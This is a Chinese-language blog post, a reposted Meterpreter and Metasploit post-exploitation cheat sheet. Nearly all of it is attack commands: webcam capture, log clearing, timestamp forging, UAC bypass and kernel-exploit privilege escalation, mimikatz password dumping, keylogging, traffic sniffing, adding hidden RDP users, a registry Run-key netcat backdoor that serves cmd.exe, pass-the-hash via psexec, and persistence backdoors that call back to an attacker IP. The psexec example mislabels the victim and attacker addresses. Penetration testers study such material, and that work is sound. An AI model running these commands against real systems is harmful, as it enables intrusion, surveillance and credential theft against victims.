meterpreter使用

原创来自:https://blog.csdn.net/wy_97/article/details/78838252

系统命令

基本命令

# 查看当前获取的shell
sessions -l
# 进入指定的shell
sessions -i <ID>
# 杀死会话
sessions -k <ID>
# 进入目标cmd
shell
# 将当前会话放置后台
background
## 进入到sessions后可使用的命令
# 查看已有模块
info
# 查看当前用户及其权限
getuid
# 查看当前进程的系统信息
getpid
# 查看当前活跃进程
ps
# 查看目标活跃时间
idletime
# 启动/关闭目标
reboot/shutdown

摄像头命令

# 查看摄像头列表
webcam_list
# 通过摄像头怕蛇
webcam_snap
# 通过摄像头开启视频
webcam_stream

进程迁移

# 将meterpreter会话迁移到指定pid中
migrate <pid>
# 杀死指定进程
kill <pid>

清除日志

# 清除windows中的应用程序日志、系统日志、安全日志
clearav

文件系统命令

  1. 基本命令

    # 查看当前工作目录路径
    pwd或getwd
    ls
    cd
    # 文件查询,支持正则表达式
    search -f filename
    # 查看文件内容
    cat filename
    # 上传文件
    upload 目标路径	要上传的文件
    # 下载文件
    download 要下载的文件路径 下载位置
    # 编辑文件
    edit 文件路径
    # 删除文件
    rm filename
    # 创建目录
    mkdir 目录
    # 删除目录
    rmdir 目录
    # 查看攻击者当前目录
    getlwd 或 lpwd
    # 切换攻击者的目录
    lcd 目录
    
  2. 伪造时间戳

    # 查看帮助
    timestomp 文件路径 -h
    # 查看时间戳(一般需要权限)
    timestomp -v 文件路径 
    # 将文件1的时间戳复制给文件2(一般需要权限)
    timestomp file2 -f file1
    

网络命令

基本命令

# 查看网络信息
ipconfig/ifconfig
# 查看端口信息
netstat -ano
# 查看本地局域网所有的arp信息[IP+MAC]
arp
# 查看代理信息
getproxy
# 查看路由信息
route

端口转发

# 将目标主机的dest_port端口转发到本地local_port端口
portfwd add -l local_port -p dest_port -r 127.0.0.1

添加路由

# 查看帮助
run autoroute -h
# 添加到目标网络
run autoroute -s 192.168.159.0/24
# 查看已添加的路由信息
run autoroute -p

本地扫描

# 扫描指定网络[IP+MAX+主机信息]
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24
# 扫描指定主机的指定端口
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.1 RPORT=3389

信息收集

信息收集的脚本默认位于:

/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

常用的信息收集脚本如下:

#是否虚拟机
run post/windows/gather/checkvm 
#是否虚拟机
run post/linux/gather/checkvm 
#查看分区
run post/windows/gather/forensics/enum_drives 
#获取安装软件信息
run post/windows/gather/enum_applications 
#获取最近的文件操作
run post/windows/gather/dumplinks  
#获取IE缓存
run post/windows/gather/enum_ie  
#获取Chrome缓存
run post/windows/gather/enum_chrome   
#补丁信息
run post/windows/gather/enum_patches  
#查找域控
run post/windows/gather/enum_domain  

提权

getsystem

getsystem

工作原理如下:

  1. getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道
  2. getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接
  3. Windows服务已启动,导致与命名管道建立连接
  4. 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌,然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程

bypassuac

# 先将当前meterpreter会话放置后台
background
# 使用bypassuac脚本
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
# 应用bypassuas脚本
use exploit/windows/local/bypassuac
set session 1
run

内核漏洞提权

# 查看补丁信息
run post/windows/gather/enum_patches
# 使用脚本
use exploit/windows/local/ms13_053_schlamperei
# 设置session
set session 1
# 启动
run

抓取密码

mimikatz

# help mimikatz 查看帮助
load mimikatz
# 获取Wdigest密码
wdigest  
mimikatz_command -f samdump::hashes  #执行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords

远程桌面&截图

enumdesktops  #查看可用的桌面
getdesktop    #获取当前meterpreter 关联的桌面
set_desktop   #设置meterpreter关联的桌面  -h查看帮助
screenshot  #截屏
use espia  #或者使用espia模块截屏  然后输入screengrab
run vnc  #使用vnc远程桌面连接

开启RDP&添加用户

getgui[不推荐使用]

# 查看帮助
run getgui -h
# 开启远程桌面
run getgui -e
# 添加用户
run getgui -u username -p password
# 3389端口转发到6666
run getgui -f 6666 -e

enable_rdp

run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令

键盘记录

keyscan_start  #开始键盘记录
keyscan_dump   #导出记录数据
keyscan_stop   #结束键盘记录

sniffer抓包

use sniffer
sniffer_interfaces   #查看网卡
sniffer_start 2   #选择网卡 开始抓包
sniffer_stats 2   #查看状态
sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
sniffer_stop 2   #停止抓包

注册表操作

基本命令

reg –h
    -d   注册表中值的数据.    -k   注册表键路径    -v   注册表键名称
    enumkey 枚举可获得的键    setval 设置键值    queryval 查询键值数据

设置nc命令

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc   #查看键值
nc -v 192.168.159.144 443  #攻击者连接nc后门

哈希利用

获取哈希

run post/windows/gather/smart_hashdump  #从SAM导出密码哈希
#需要SYSTEM权限

PSEXEC哈希传递

通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击
前提条件:①开启445端口 smb服务;②开启admin$共享

msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 受害者IP
msf > set LPORT 445
msf > set RHOST 攻击者IP
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain  WORKGROUP   #域用户需要设置SMBDomain
msf >exploit

后门植入

persistence启动项后门

在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项

run persistence –h  #查看帮助
run persistence -X -i 5 -p 6666 -r 攻击者IP
#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip

连接后门

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 攻击者IP
msf > set LPORT 6666
msf > exploit

metsvc服务后门

在C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter 个人觉得不是很好,容易被发现

run metsvc –h   # 查看帮助
run metsvc –A   #自动安装后门

连接后门

msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 攻击者IP
msf > set LPORT 31337
msf > exploit

扫描脚本

扫描脚本位于:

/usr/share/metasploit-framework/modules/auxiliary/scanner/

扫描的脚本较多

use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login
posted @ 2019-05-08 14:48  JerryLocker  阅读(783)  评论(0编辑  收藏  举报